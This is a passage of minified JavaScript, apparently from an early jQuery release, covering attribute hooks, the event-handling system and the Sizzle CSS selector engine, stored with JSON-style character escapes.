f.prop(a,c)===!0||(d=a.getAttributeNode(c))\u0026\u0026d.nodeValue!==!1?c.toLowerCase():b},set:function(a,b,c){var d;b===!1?f.removeAttr(a,c):(d=f.propFix[c]||c,d in a\u0026\u0026(a[d]=!0),a.setAttribute(c,c.toLowerCase()));return c}},f.support.getSetAttribute||(u=f.valHooks.button={get:function(a,c){var d;d=a.getAttributeNode(c);return d\u0026\u0026d.nodeValue!==\"\"?d.nodeValue:b},set:function(a,b,d){var e=a.getAttributeNode(d);e||(e=c.createAttribute(d),a.setAttributeNode(e));return e.nodeValue=b+\"\"}},f.each([\"width\",\"height\"],function(a,b){f.attrHooks[b]=f.extend(f.attrHooks[b],{set:function(a,c){if(c===\"\"){a.setAttribute(b,\"auto\");return c}}})})),f.support.hrefNormalized||f.each([\"href\",\"src\",\"width\",\"height\"],function(a,c){f.attrHooks[c]=f.extend(f.attrHooks[c],{get:function(a){var d=a.getAttribute(c,2);return d===null?b:d}})}),f.support.style||(f.attrHooks.style={get:function(a){return a.style.cssText.toLowerCase()||b},set:function(a,b){return a.style.cssText=\"\"+b}}),f.support.optSelected||(f.propHooks.selected=f.extend(f.propHooks.selected,{get:function(a){var b=a.parentNode;b\u0026\u0026(b.selectedIndex,b.parentNode\u0026\u0026b.parentNode.selectedIndex);return null}})),f.support.checkOn||f.each([\"radio\",\"checkbox\"],function(){f.valHooks[this]={get:function(a){return a.getAttribute(\"value\")===null?\"on\":a.value}}}),f.each([\"radio\",\"checkbox\"],function(){f.valHooks[this]=f.extend(f.valHooks[this],{set:function(a,b){if(f.isArray(b))return a.checked=f.inArray(f(a).val(),b)\u003e=0}})});var w=/\\.(.*)$/,x=/^(?:textarea|input|select)$/i,y=/\\./g,z=/ /g,A=/[^\\w\\s.|`]/g,B=function(a){return a.replace(A,\"\\\\$\u0026\")};f.event={add:function(a,c,d,e){if(a.nodeType!==3\u0026\u0026a.nodeType!==8){if(d===!1)d=C;else if(!d)return;var g,h;d.handler\u0026\u0026(g=d,d=g.handler),d.guid||(d.guid=f.guid++);var i=f._data(a);if(!i)return;var j=i.events,k=i.handle;j||(i.events=j={}),k||(i.handle=k=function(a){return typeof f!=\"undefined\"\u0026\u0026(!a||f.event.triggered!==a.type)?f.event.handle.apply(k.elem,arguments):b}),k.elem=a,c=c.split(\" \");var l,m=0,n;while(l=c[m++]){h=g?f.extend({},g):{handler:d,data:e},l.indexOf(\".\")\u003e-1?(n=l.split(\".\"),l=n.shift(),h.namespace=n.slice(0).sort().join(\".\")):(n=[],h.namespace=\"\"),h.type=l,h.guid||(h.guid=d.guid);var o=j[l],p=f.event.special[l]||{};if(!o){o=j[l]=[];if(!p.setup||p.setup.call(a,e,n,k)===!1)a.addEventListener?a.addEventListener(l,k,!1):a.attachEvent\u0026\u0026a.attachEvent(\"on\"+l,k)}p.add\u0026\u0026(p.add.call(a,h),h.handler.guid||(h.handler.guid=d.guid)),o.push(h),f.event.global[l]=!0}a=null}},global:{},remove:function(a,c,d,e){if(a.nodeType!==3\u0026\u0026a.nodeType!==8){d===!1\u0026\u0026(d=C);var g,h,i,j,k=0,l,m,n,o,p,q,r,s=f.hasData(a)\u0026\u0026f._data(a),t=s\u0026\u0026s.events;if(!s||!t)return;c\u0026\u0026c.type\u0026\u0026(d=c.handler,c=c.type);if(!c||typeof c==\"string\"\u0026\u0026c.charAt(0)===\".\"){c=c||\"\";for(h in t)f.event.remove(a,h+c);return}c=c.split(\" \");while(h=c[k++]){r=h,q=null,l=h.indexOf(\".\")\u003c0,m=[],l||(m=h.split(\".\"),h=m.shift(),n=new RegExp(\"(^|\\\\.)\"+f.map(m.slice(0).sort(),B).join(\"\\\\.(?:.*\\\\.)?\")+\"(\\\\.|$)\")),p=t[h];if(!p)continue;if(!d){for(j=0;j\u003cp.length;j++){q=p[j];if(l||n.test(q.namespace))f.event.remove(a,r,q.handler,j),p.splice(j--,1)}continue}o=f.event.special[h]||{};for(j=e||0;j\u003cp.length;j++){q=p[j];if(d.guid===q.guid){if(l||n.test(q.namespace))e==null\u0026\u0026p.splice(j--,1),o.remove\u0026\u0026o.remove.call(a,q);if(e!=null)break}}if(p.length===0||e!=null\u0026\u0026p.length===1)(!o.teardown||o.teardown.call(a,m)===!1)\u0026\u0026f.removeEvent(a,h,s.handle),g=null,delete \nt[h]}if(f.isEmptyObject(t)){var u=s.handle;u\u0026\u0026(u.elem=null),delete s.events,delete s.handle,f.isEmptyObject(s)\u0026\u0026f.removeData(a,b,!0)}}},customEvent:{getData:!0,setData:!0,changeData:!0},trigger:function(c,d,e,g){var h=c.type||c,i=[],j;h.indexOf(\"!\")\u003e=0\u0026\u0026(h=h.slice(0,-1),j=!0),h.indexOf(\".\")\u003e=0\u0026\u0026(i=h.split(\".\"),h=i.shift(),i.sort());if(!!e\u0026\u0026!f.event.customEvent[h]||!!f.event.global[h]){c=typeof c==\"object\"?c[f.expando]?c:new f.Event(h,c):new f.Event(h),c.type=h,c.exclusive=j,c.namespace=i.join(\".\"),c.namespace_re=new RegExp(\"(^|\\\\.)\"+i.join(\"\\\\.(?:.*\\\\.)?\")+\"(\\\\.|$)\");if(g||!e)c.preventDefault(),c.stopPropagation();if(!e){f.each(f.cache,function(){var a=f.expando,b=this[a];b\u0026\u0026b.events\u0026\u0026b.events[h]\u0026\u0026f.event.trigger(c,d,b.handle.elem)});return}if(e.nodeType===3||e.nodeType===8)return;c.result=b,c.target=e,d=d!=null?f.makeArray(d):[],d.unshift(c);var k=e,l=h.indexOf(\":\")\u003c0?\"on\"+h:\"\";do{var m=f._data(k,\"handle\");c.currentTarget=k,m\u0026\u0026m.apply(k,d),l\u0026\u0026f.acceptData(k)\u0026\u0026k[l]\u0026\u0026k[l].apply(k,d)===!1\u0026\u0026(c.result=!1,c.preventDefault()),k=k.parentNode||k.ownerDocument||k===c.target.ownerDocument\u0026\u0026a}while(k\u0026\u0026!c.isPropagationStopped());if(!c.isDefaultPrevented()){var n,o=f.event.special[h]||{};if((!o._default||o._default.call(e.ownerDocument,c)===!1)\u0026\u0026(h!==\"click\"||!f.nodeName(e,\"a\"))\u0026\u0026f.acceptData(e)){try{l\u0026\u0026e[h]\u0026\u0026(n=e[l],n\u0026\u0026(e[l]=null),f.event.triggered=h,e[h]())}catch(p){}n\u0026\u0026(e[l]=n),f.event.triggered=b}}return c.result}},handle:function(c){c=f.event.fix(c||a.event);var d=((f._data(this,\"events\")||{})[c.type]||[]).slice(0),e=!c.exclusive\u0026\u0026!c.namespace,g=Array.prototype.slice.call(arguments,0);g[0]=c,c.currentTarget=this;for(var h=0,i=d.length;h\u003ci;h++){var j=d[h];if(e||c.namespace_re.test(j.namespace)){c.handler=j.handler,c.data=j.data,c.handleObj=j;var k=j.handler.apply(this,g);k!==b\u0026\u0026(c.result=k,k===!1\u0026\u0026(c.preventDefault(),c.stopPropagation()));if(c.isImmediatePropagationStopped())break}}return c.result},props:\"altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode layerX layerY metaKey newValue offsetX offsetY pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which\".split(\" \"),fix:function(a){if(a[f.expando])return a;var d=a;a=f.Event(d);for(var e=this.props.length,g;e;)g=this.props[--e],a[g]=d[g];a.target||(a.target=a.srcElement||c),a.target.nodeType===3\u0026\u0026(a.target=a.target.parentNode),!a.relatedTarget\u0026\u0026a.fromElement\u0026\u0026(a.relatedTarget=a.fromElement===a.target?a.toElement:a.fromElement);if(a.pageX==null\u0026\u0026a.clientX!=null){var h=a.target.ownerDocument||c,i=h.documentElement,j=h.body;a.pageX=a.clientX+(i\u0026\u0026i.scrollLeft||j\u0026\u0026j.scrollLeft||0)-(i\u0026\u0026i.clientLeft||j\u0026\u0026j.clientLeft||0),a.pageY=a.clientY+(i\u0026\u0026i.scrollTop||j\u0026\u0026j.scrollTop||0)-(i\u0026\u0026i.clientTop||j\u0026\u0026j.clientTop||0)}a.which==null\u0026\u0026(a.charCode!=null||a.keyCode!=null)\u0026\u0026(a.which=a.charCode!=null?a.charCode:a.keyCode),!a.metaKey\u0026\u0026a.ctrlKey\u0026\u0026(a.metaKey=a.ctrlKey),!a.which\u0026\u0026a.button!==b\u0026\u0026(a.which=a.button\u00261?1:a.button\u00262?3:a.button\u00264?2:0);return a},guid:1e8,proxy:f.proxy,special:{ready:{setup:f.bindReady,teardown:f.noop},live:{add:function(a){f.event.add(this,M(a.origType,a.selector),f.extend({},a,{handler:L,guid:a.handler.guid}))},remove:function(a){f.event.remove(this,M(a.origType,a.selector),a)}},beforeunload:{setup:function(a,b,c){f.isWindow(this)\u0026\u0026(this.onbeforeunload=c)},teardown:function(a,b){this.onbeforeunload===b\u0026\u0026(this.onbeforeunload=null)}}}},f.removeEvent=c.removeEventListener?function(a,b,c){a.removeEventListener\u0026\u0026a.removeEventListener(b,c,!1)}:function(a,b,c){a.detachEvent\u0026\u0026a.detachEvent(\"on\"+b,c)},f.Event=function(a,b){if(!this.preventDefault)return new f.Event(a,b);a\u0026\u0026a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||a.returnValue===!1||a.getPreventDefault\u0026\u0026a.getPreventDefault()?D:C):this.type=a,b\u0026\u0026f.extend(this,b),this.timeStamp=f.now(),this[f.expando]=!0},f.Event.prototype={preventDefault:function(){this.isDefaultPrevented=D;var a=this.originalEvent;!a||(a.preventDefault?a.preventDefault():a.returnValue=!1)},stopPropagation:function(){this.isPropagationStopped=D;var a=this.originalEvent;!a||(a.stopPropagation\u0026\u0026a.stopPropagation(),a.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=D,this.stopPropagation()},isDefaultPrevented:C,isPropagationStopped:C,isImmediatePropagationStopped:C};var E=function(a){var b=a.relatedTarget,c=!1,d=a.type;a.type=a.data,b!==this\u0026\u0026(b\u0026\u0026(c=f.contains(this,b)),c||(f.event.handle.apply(this,arguments),a.type=d))},F=function(a){a.type=a.data,f.event.handle.apply(this,arguments)};f.each({mouseenter:\"mouseover\",mouseleave:\"mouseout\"},function(a,b){f.event.special[a]={setup:function(c){f.event.add(this,b,c\u0026\u0026c.selector?F:E,a)},teardown:function(a){f.event.remove(this,b,a\u0026\u0026a.selector?F:E)}}}),f.support.submitBubbles||(f.event.special.submit={setup:function(a,b){if(!f.nodeName(this,\"form\"))f.event.add(this,\"click.specialSubmit\",function(a){var b=a.target,c=f.nodeName(b,\"input\")||f.nodeName(b,\"button\")?b.type:\"\";(c===\"submit\"||c===\"image\")\u0026\u0026f(b).closest(\"form\").length\u0026\u0026J(\"submit\",this,arguments)}),f.event.add(this,\"keypress.specialSubmit\",function(a){var b=a.target,c=f.nodeName(b,\"input\")||f.nodeName(b,\"button\")?b.type:\"\";(c===\"text\"||c===\"password\")\u0026\u0026f(b).closest(\"form\").length\u0026\u0026a.keyCode===13\u0026\u0026J(\"submit\",this,arguments)});else return!1},teardown:function(a){f.event.remove(this,\".specialSubmit\")}});if(!f.support.changeBubbles){var G,H=function(a){var b=f.nodeName(a,\"input\")?a.type:\"\",c=a.value;b===\"radio\"||b===\"checkbox\"?c=a.checked:b===\"select-multiple\"?c=a.selectedIndex\u003e-1?f.map(a.options,function(a){return a.selected}).join(\"-\"):\"\":f.nodeName(a,\"select\")\u0026\u0026(c=a.selectedIndex);return c},I=function(c){var d=c.target,e,g;if(!!x.test(d.nodeName)\u0026\u0026!d.readOnly){e=f._data(d,\"_change_data\"),g=H(d),(c.type!==\"focusout\"||d.type!==\"radio\")\u0026\u0026f._data(d,\"_change_data\",g);if(e===b||g===e)return;if(e!=null||g)c.type=\"change\",c.liveFired=b,f.event.trigger(c,arguments[1],d)}};f.event.special.change={filters:{focusout:I,beforedeactivate:I,click:function(a){var b=a.target,c=f.nodeName(b,\"input\")?b.type:\"\";(c===\"radio\"||c===\"checkbox\"||f.nodeName(b,\"select\"))\u0026\u0026I.call(this,a)},keydown:function(a){var b=a.target,c=f.nodeName(b,\"input\")?b.type:\"\";(a.keyCode===13\u0026\u0026!f.nodeName(b,\"textarea\")||a.keyCode===32\u0026\u0026(c===\"checkbox\"||c===\"radio\")||c===\"select-multiple\")\u0026\u0026I.call(this,a)},beforeactivate:function(a){var b=a.target;f._data(b,\"_change_data\",H(b))}},setup:function(a,b){if(this.type===\"file\")return!1;for(var c in G)f.event.add(this,c+\".specialChange\",G[c]);return x.test(this.nodeName)},teardown:function(a){f.event.remove(this,\".specialChange\");return x.test(this.nodeName)}},G=f.event.special.change.filters,G.focus=G.beforeactivate}f.support.focusinBubbles||f.each({focus:\"focusin\",blur:\"focusout\"},function(a,b){function e(a){var c=f.event.fix(a);c.type=b,c.originalEvent={},f.event.trigger(c,null,c.target),c.isDefaultPrevented()\u0026\u0026a.preventDefault()}var d=0;f.event.special[b]={setup:function(){d++===0\u0026\u0026c.addEventListener(a,e,!0)},teardown:function(){--d===0\u0026\u0026c.removeEventListener(a,e,!0)}}}),f.each([\"bind\",\"one\"],function(a,c){f.fn[c]=function(a,d,e){var g;if(typeof a==\"object\"){for(var h in a)this[c](h,d,a[h],e);return this}if(arguments.length===2||d===!1)e=d,d=b;c===\"one\"?(g=function(a){f(this).unbind(a,g);return e.apply(this,arguments)},g.guid=e.guid||f.guid++):g=e;if(a===\"unload\"\u0026\u0026c!==\"one\")this.one(a,d,e);else for(var i=0,j=this.length;i\u003cj;i++)f.event.add(this[i],a,g,d);return this}}),f.fn.extend({unbind:function(a,b){if(typeof a==\"object\"\u0026\u0026!a.preventDefault)for(var c in a)this.unbind(c,a[c]);else for(var d=0,e=this.length;d\u003ce;d++)f.event.remove(this[d],a,b);return this},delegate:function(a,b,c,d){return this.live(b,c,d,a)},undelegate:function(a,b,c){return arguments.length===0?this.unbind(\"live\"):this.die(b,null,c,a)},trigger:function(a,b){return this.each(function(){f.event.trigger(a,b,this)})},triggerHandler:function(a,b){if(this[0])return f.event.trigger(a,b,this[0],!0)},toggle:function(a){var b=arguments,c=a.guid||f.guid++,d=0,e=function(c){var e=(f.data(this,\"lastToggle\"+a.guid)||0)%d;f.data(this,\"lastToggle\"+a.guid,e+1),c.preventDefault();return b[e].apply(this,arguments)||!1};e.guid=c;while(d\u003cb.length)b[d++].guid=c;return this.click(e)},hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}});var K={focus:\"focusin\",blur:\"focusout\",mouseenter:\"mouseover\",mouseleave:\"mouseout\"};f.each([\"live\",\"die\"],function(a,c){f.fn[c]=function(a,d,e,g){var h,i=0,j,k,l,m=g||this.selector,n=g?this:f(this.context);if(typeof a==\"object\"\u0026\u0026!a.preventDefault){for(var o in a)n[c](o,d,a[o],m);return this}if(c===\"die\"\u0026\u0026!a\u0026\u0026g\u0026\u0026g.charAt(0)===\".\"){n.unbind(g);return this}if(d===!1||f.isFunction(d))e=d||C,d=b;a=(a||\"\").split(\" \");while((h=a[i++])!=null){j=w.exec(h),k=\"\",j\u0026\u0026(k=j[0],h=h.replace(w,\"\"));if(h===\"hover\"){a.push(\"mouseenter\"+k,\"mouseleave\"+k);continue}l=h,K[h]?(a.push(K[h]+k),h=h+k):h=(K[h]||h)+k;if(c===\"live\")for(var p=0,q=n.length;p\u003cq;p++)f.event.add(n[p],\"live.\"+M(h,m),{data:d,selector:m,handler:e,origType:h,origHandler:e,preType:l});else n.unbind(\"live.\"+M(h,m),e)}return this}}),f.each(\"blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error\".split(\" \"),function(a,b){f.fn[b]=function(a,c){c==null\u0026\u0026(c=a,a=null);return arguments.length\u003e0?this.bind(b,a,c):this.trigger(b)},f.attrFn\u0026\u0026(f.attrFn[b]=!0)}),function(){function u(a,b,c,d,e,f){for(var g=0,h=d.length;g\u003ch;g++){var i=d[g];if(i){var j=!1;i=i[a];while(i){if(i.sizcache===c){j=d[i.sizset];break}if(i.nodeType===1){f||(i.sizcache=c,i.sizset=g);if(typeof b!=\"string\"){if(i===b){j=!0;break}}else if(k.filter(b,[i]).length\u003e0){j=i;break}}i=i[a]}d[g]=j}}}function t(a,b,c,d,e,f){for(var g=0,h=d.length;g\u003ch;g++){var i=d[g];if(i){var j=!1;i=i[a];while(i){if(i.sizcache===c){j=d[i.sizset];break}i.nodeType===1\u0026\u0026!f\u0026\u0026(i.sizcache=c,i.sizset=g);if(i.nodeName.toLowerCase()===b){j=i;break}i=i[a]}d[g]=j}}}var a=/((?:\\((?:\\([^()]+\\)|[^()]+)+\\)|\\[(?:\\[[^\\[\\]]*\\]|['\"][^'\"]*['\"]|[^\\[\\]'\"]+)+\\]|\\\\.|[^ \u003e+~,(\\[\\\\]+)+|[\u003e+~])(\\s*,\\s*)?((?:.|\\r|\\n)*)/g,d=0,e=Object.prototype.toString,g=!1,h=!0,i=/\\\\/g,j=/\\W/;[0,0].sort(function(){h=!1;return 0});var k=function(b,d,f,g){f=f||[],d=d||c;var h=d;if(d.nodeType!==1\u0026\u0026d.nodeType!==9)return[];if(!b||typeof b!=\"string\")return f;var i,j,n,o,q,r,s,t,u=!0,w=k.isXML(d),x=[],y=b;do{a.exec(\"\"),i=a.exec(y);if(i){y=i[3],x.push(i[1]);if(i[2]){o=i[3];break}}}while(i);if(x.length\u003e1\u0026\u0026m.exec(b))if(x.length===2\u0026\u0026l.relative[x[0]])j=v(x[0]+x[1],d);else{j=l.relative[x[0]]?[d]:k(x.shift(),d);while(x.length)b=x.shift(),l.relative[b]\u0026\u0026(b+=x.shift()),j=v(b,j)}else{!g\u0026\u0026x.length\u003e1\u0026\u0026d.nodeType===9\u0026\u0026!w\u0026\u0026l.match.ID.test(x[0])\u0026\u0026!l.match.ID.test(x[x.length-1])\u0026\u0026(q=k.find(x.shift(),d,w),d=q.expr?k.filter(q.expr,q.set)[0]:q.set[0]);if(d){q=g?{expr:x.pop(),set:p(g)}:k.find(x.pop(),x.length===1\u0026\u0026(x[0]===\"~\"||x[0]===\"+\")\u0026\u0026d.parentNode?d.parentNode:d,w),j=q.expr?k.filter(q.expr,q.set):q.set,x.length\u003e0?n=p(j):u=!1;while(x.length)r=x.pop(),s=r,l.relative[r]?s=x.pop():r=\"\",s==null\u0026\u0026(s=d),l.relative[r](n,s,w)}else n=x=[]}n||(n=j),n||k.error(r||b);if(e.call(n)===\"[object Array]\")if(!u)f.push.apply(f,n);else if(d\u0026\u0026d.nodeType===1)for(t=0;n[t]!=null;t++)n[t]\u0026\u0026(n[t]===!0||n[t].nodeType===1\u0026\u0026k.contains(d,n[t]))\u0026\u0026f.push(j[t]);else for(t=0;n[t]!=null;t++)n[t]\u0026\u0026n[t].nodeType===1\u0026\u0026f.push(j[t]);else p(n,f);o\u0026\u0026(k(o,h,f,g),k.uniqueSort(f));return f};k.uniqueSort=function(a){if(r){g=h,a.sort(r);if(g)for(var b=1;b\u003ca.length;b++)a[b]===a[b-1]\u0026\u0026a.splice(b--,1)}return a},k.matches=function(a,b){return k(a,null,null,b)},k.matchesSelector=function(a,b){return k(b,null,null,[a]).length\u003e0},k.find=function(a,b,c){var d;if(!a)return[];for(var e=0,f=l.order.length;e\u003cf;e++){var g,h=l.order[e];if(g=l.leftMatch[h].exec(a)){var j=g[1];g.splice(1,1);if(j.substr(j.length-1)!==\"\\\\\"){g[1]=(g[1]||\"\").replace(i,\"\"),d=l.find[h](g,b,c);if(d!=null){a=a.replace(l.match[h],\"\");break}}}}d||(d=typeof b.getElementsByTagName!=\"undefined\"?b.getElementsByTagName(\"*\"):[]);return{set:d,expr:a}},k.filter=function(a,c,d,e){var f,g,h=a,i=[],j=c,m=c\u0026\u0026c[0]\u0026\u0026k.isXML(c[0]);while(a\u0026\u0026c.length){for(var n in l.filter)if((f=l.leftMatch[n].exec(a))!=null\u0026\u0026f[2]){var o,p,q=l.filter[n],r=f[1];g=!1,f.splice(1,1);if(r.substr(r.length-1)===\"\\\\\")continue;j===i\u0026\u0026(i=[]);if(l.preFilter[n]){f=l.preFilter[n](f,j,d,i,e,m);if(!f)g=o=!0;else if(f===!0)continue}if(f)for(var s=0;(p=j[s])!=null;s++)if(p){o=q(p,f,s,j);var t=e^!!o;d\u0026\u0026o!=null?t?g=!0:j[s]=!1:t\u0026\u0026(i.push(p),g=!0)}if(o!==b){d||(j=i),a=a.replace(l.match[n],\"\");if(!g)return[];break}}if(a===h)if(g==null)k.error(a);else break;h=a}return j},k.error=function(a){throw\"Syntax error, unrecognized expression: \"+a};var l=k.selectors={order:[\"ID\",\"NAME\",\"TAG\"],match:{ID:/#((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)/,CLASS:/\\.((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)/,NAME:/\\[name=['\"]*((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)['\"]*\\]/,ATTR:/\\[\\s*((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)\\s*(?:(\\S?=)\\s*(?:(['\"])(.*?)\\3|(#?(?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)*)|)|)\\s*\\]/,TAG:/^((?:[\\w\\u00c0-\\uFFFF\\*\\-]|\\\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\\(\\s*(even|odd|(?:[+\\-]?\\d+|(?:[+\\-]?\\d*)?n\\s*(?:[+\\-]\\s*\\d+)?))\\s*\\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\\((\\d*)\\))?(?=[^\\-]|$)/,PSEUDO:/:((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)(?:\\((['\"]?)((?:\\([^\\)]+\\)|[^\\(\\)]*)+)\\2\\))?/},leftMatch:{},attrMap:{\"class\":\"className\",\"for\":\"htmlFor\"},attrHandle:{href:function(a){return a.getAttribute(\"href\")},type:function(a){return a.getAttribute(\"type\")}},relative:{\"+\":function(a,b){var c=typeof b==\"string\",d=c\u0026\u0026!j.test(b),e=c\u0026\u0026!d;d\u0026\u0026(b=b.toLowerCase());for(var f=0,g=a.length,h;f\u003cg;f++)if(h=a[f]){while((h=h.previousSibling)\u0026\u0026h.nodeType!==1);a[f]=e||h\u0026\u0026h.nodeName.toLowerCase()===b?h||!1:h===b}e\u0026\u0026k.filter(b,a,!0)},\"\u003e\":function(a,b){var c,d=typeof b==\"string\",e=0,f=a.length;if(d\u0026\u0026!j.test(b)){b=b.toLowerCase();for(;e\u003cf;e++){c=a[e];if(c){var g=c.parentNode;a[e]=g.nodeName.toLowerCase()===b?g:!1}}}else{for(;e\u003cf;e++)c=a[e],c\u0026\u0026(a[e]=d?c.parentNode:c.parentNode===b);d\u0026\u0026k.filter(b,a,!0)}},\"\":function(a,b,c){var e,f=d++,g=u;typeof b==\"string\"\u0026\u0026!j.test(b)\u0026\u0026(b=b.toLowerCase(),e=b,g=t),g(\"parentNode\",b,f,a,e,c)},\"~\":function(a,b,c){var e,f=d++,g=u;typeof b==\"string\"\u0026\u0026!j.test(b)\u0026\u0026(b=b.toLowerCase(),e=b,g=t),g(\"previousSibling\",b,f,a,e,c)}},find:{ID:function(a,b,c){if(typeof b.getElementById!=\"undefined\"\u0026\u0026!c){var d=b.getElementById(a[1]);return d\u0026\u0026d.parentNode?[d]:[]}},NAME:function(a,b){if(typeof b.getElementsByName!=\"undefined\"){var c=[],d=b.getElementsByName(a[1]);for(var e=0,f=d.length;e\u003cf;e++)d[e].getAttribute(\"name\")===a[1]\u0026\u0026c.push(d[e]);return c.length===0?null:c}},TAG:function(a,b){if(typeof b.getElementsByTagName!=\"undefined\")return b.getElementsByTagName(a[1])}},preFilter:{CLASS:function(a,b,c,d,e,f){a=\" \"+a[1].replace(i,\"\")+\" \";if(f)return a;for(var g=0,h;(h=b[g])!=null;g++)h\u0026\u0026(e^(h.className\u0026\u0026(\" \"+h.className+\" \").replace(/[\\t\\n\\r]/g,\" \").indexOf(a)\u003e=0)?c||d.push(h):c\u0026\u0026(b[g]=!1));return!1},ID:function(a){return a[1].replace(i,\"\")},TAG:function(a,b){return a[1].replace(i,\"\").toLowerCase()},CHILD:function(a){if(a[1]===\"nth\"){a[2]||k.error(a[0]),a[2]=a[2].replace(/^\\+|\\s*/g,\"\");var b=/(-?)(\\d*)(?:n([+\\-]?\\d*))?/.exec(a[2]===\"even\"\u0026\u0026\"2n\"||a[2]===\"odd\"\u0026\u0026\"2n+1\"||!/\\D/.test(a[2])\u0026\u0026\"0n+\"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]\u0026\u0026k.error(a[0]);a[0]=d++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(i,\"\");!f\u0026\u0026l.attrMap[g]\u0026\u0026(a[1]=l.attrMap[g]),a[4]=(a[4]||a[5]||\"\").replace(i,\"\"),a[2]===\"~=\"\u0026\u0026(a[4]=\" \"+a[4]+\" \");return a},PSEUDO:function(b,c,d,e,f){if(b[1]===\"not\")if((a.exec(b[3])||\"\").length\u003e1||/^\\w/.test(b[3]))b[3]=k(b[3],null,null,c);else{var g=k.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(l.match.POS.test(b[0])||l.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1\u0026\u0026a.type!==\"hidden\"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode\u0026\u0026a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!k(c[3],a).length},header:function(a){return/h\\d/i.test(a.nodeName)},text:function(a){var b=a.getAttribute(\"type\"),c=a.type;return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"text\"===c\u0026\u0026(b===c||b===null)},radio:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"radio\"===a.type},checkbox:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"checkbox\"===a.type},file:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"file\"===a.type},password:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"password\"===a.type},submit:function(a){var b=a.nodeName.toLowerCase();return(b===\"input\"||b===\"button\")\u0026\u0026\"submit\"===a.type},image:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"image\"===a.type},reset:function(a){var b=a.nodeName.toLowerCase();return(b===\"input\"||b===\"button\")\u0026\u0026\"reset\"===a.type},button:function(a){var b=a.nodeName.toLowerCase();return b===\"input\"\u0026\u0026\"button\"===a.type||b===\"button\"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)},focus:function(a){return a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return b\u003cc[3]-0},gt:function(a,b,c){return b\u003ec[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=l.filters[e];if(f)return f(a,c,b,d);if(e===\"contains\")return(a.textContent||a.innerText||k.getText([a])||\"\").indexOf(b[3])\u003e=0;if(e===\"not\"){var g=b[3];for(var h=0,i=g.length;h\u003ci;h++)if(g[h]===a)return!1;return!0}k.error(e)},CHILD:function(a,b){var c=b[1],d=a;switch(c){case\"only\":case\"first\":while(d=d.previousSibling)if(d.nodeType===1)return!1;if(c===\"first\")return!0;d=a;case\"last\":while(d=d.nextSibling)if(d.nodeType===1)return!1;return!0;case\"nth\":var e=b[2],f=b[3];if(e===1\u0026\u0026f===0)return!0;var g=b[0],h=a.parentNode;if(h\u0026\u0026(h.sizcache!==g||!a.nodeIndex)){var i=0;for(d=h.firstChild;d;d=d.nextSibling)d.nodeType===1\u0026\u0026(d.nodeIndex=++i);h.sizcache=g}var j=a.nodeIndex-f;return e===0?j===0:j%e===0\u0026\u0026j/e\u003e=0}},ID:function(a,b){return a.nodeType===1\u0026\u0026a.getAttribute(\"id\")===b},TAG:function(a,b){return b===\"*\"\u0026\u0026a.nodeType===1||a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(\" \"+(a.className||a.getAttribute(\"class\"))+\" \").indexOf(b)\u003e-1},ATTR:function(a,b){var c=b[1],d=l.attrHandle[c]?l.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+\"\",f=b[2],g=b[4];return d==null?f===\"!=\":f===\"=\"?e===g:f===\"*=\"?e.indexOf(g)\u003e=0:f===\"~=\"?(\" \"+e+\" \").indexOf(g)\u003e=0:g?f===\"!=\"?e!==g:f===\"^=\"?e.indexOf(g)===0:f===\"$=\"?e.substr(e.length-g.length)===g:f===\"|=\"?e===g||e.substr(0,g.length+1)===g+\"-\":!1:e\u0026\u0026d!==!1},POS:function(a,b,c,d){var e=b[2],f=l.setFilters[e];if(f)return f(a,c,b,d)}}},m=l.match.POS,n=function(a,b){return\"\\\\\"+(b-0+1)};for(var o in l.match)l.match[o]=new RegExp(l.match[o].source+/(?![^\\[]*\\])(?![^\\(]*\\))/.source),l.leftMatch[o]=new RegExp(/(^(?:.|\\r|\\n)*?)/.source+l.match[o].source.replace(/\\\\(\\d+)/g,n));var p=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(q){p=function(a,b){var c=0,d=b||[];if(e.call(a)===\"[object Array]\")Array.prototype.push.apply(d,a);else if(typeof a.length==\"number\")for(var 